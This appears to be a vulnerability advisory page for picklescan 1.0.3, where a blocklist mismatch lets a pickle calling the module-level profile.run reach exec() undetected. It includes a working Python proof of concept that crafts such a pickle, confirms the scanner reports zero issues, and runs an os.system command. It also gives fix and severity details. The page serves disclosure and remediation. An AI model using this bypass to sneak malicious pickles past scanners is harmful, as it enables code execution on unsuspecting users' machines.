Skip to content

GHSA-7wx9-6375-f5wh CVE-2026-53873 PYSEC-2026-455

PickleScan's profile.run blocklist mismatch allows exec() bypass

Critical PyPI
Severity
9.3 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.46%
Chance of exploitation in the next 30 days. Higher than 39.87% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-184 Incomplete List of Disallowed Inputs
CWE-697 Incorrect Comparison
Fix
1.0.4
Upgrade picklescan to this version or later

Description

Summary

picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".

Severity

High — Direct code execution via exec() with zero scanner detection.

Affected Versions

  • picklescan v1.0.3 (latest — the profile entries were added in recent versions)
  • Earlier versions also affected (profile not blocked at all)

Details

Root Cause

In scanner.py line 199, the blocklist entry for profile is:

"profile": {"Profile.run", "Profile.runctx"},

When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:

  • module = "profile"
  • name = "run"

The blocklist check at line 414 is:

elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):

This checks: is "run" in {"Profile.run", "Profile.runctx"}?

Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.

What profile.run() Does

# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
    prof = Profile()
    try:
        prof.run(statement)  # Calls exec(statement)
    except SystemExit:
        pass
    ...

profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.

Proof of Concept

import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# profile.run("import os; os.system('id')")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 60)
    + sbu("profile") + sbu("run") + b"\x93"
    + sbu("import os; os.system('id')")
    + b"\x85" + b"R" + b"."
)

# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)

Comparison

Pickle Global Blocklist Entry Match? Result
("profile", "run") "Profile.run" NO — "run" != "Profile.run" CLEAN (bypass!)
("profile", "Profile.run") "Profile.run" YES DETECTED
("profile", "runctx") "Profile.runctx" NO — "runctx" != "Profile.runctx" CLEAN (bypass!)

The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.

Impact

profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.

Suggested Fix

Change the profile blocklist entry from:

"profile": {"Profile.run", "Profile.runctx"},

to:

"profile": "*",

Or explicitly add the module-level functions:

"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},

Resources

  • picklescan source: scanner.py line 199 ("profile": {"Profile.run", "Profile.runctx"})
  • picklescan source: scanner.py line 414 (exact string match logic)
  • Python source: Lib/profile.py run() function — calls exec()

Affected versions

PyPI

PackageVulnerableFixed in
picklescan
< 1.0.4
1.0.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → 1.0.4

pip
pip install --upgrade "picklescan>=1.0.4"
poetry
poetry add "picklescan>=1.0.4"
uv
uv add "picklescan>=1.0.4"

Severity breakdown

CVSS 4.0 9.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-184: Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

How to prevent it
  • Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

CWE-697: Incorrect Comparison

The product compares two entities in a security-relevant context, but the comparison is incorrect.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g38g-8gr9-h9xp
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Critical Also affects picklescan
GHSA-vvpj-8cmc-gx39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Critical Also affects picklescan
GHSA-97f8-7cmv-76j2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
High Also affects picklescan
GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
Medium Also affects picklescan
GHSA-9m3x-qqw2-h32h
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Critical Also affects picklescan
GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
High Also affects picklescan
GHSA-46h3-79wf-xr6c
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
High Also affects picklescan
GHSA-955r-x9j8-7rhh
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
High Also affects picklescan
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor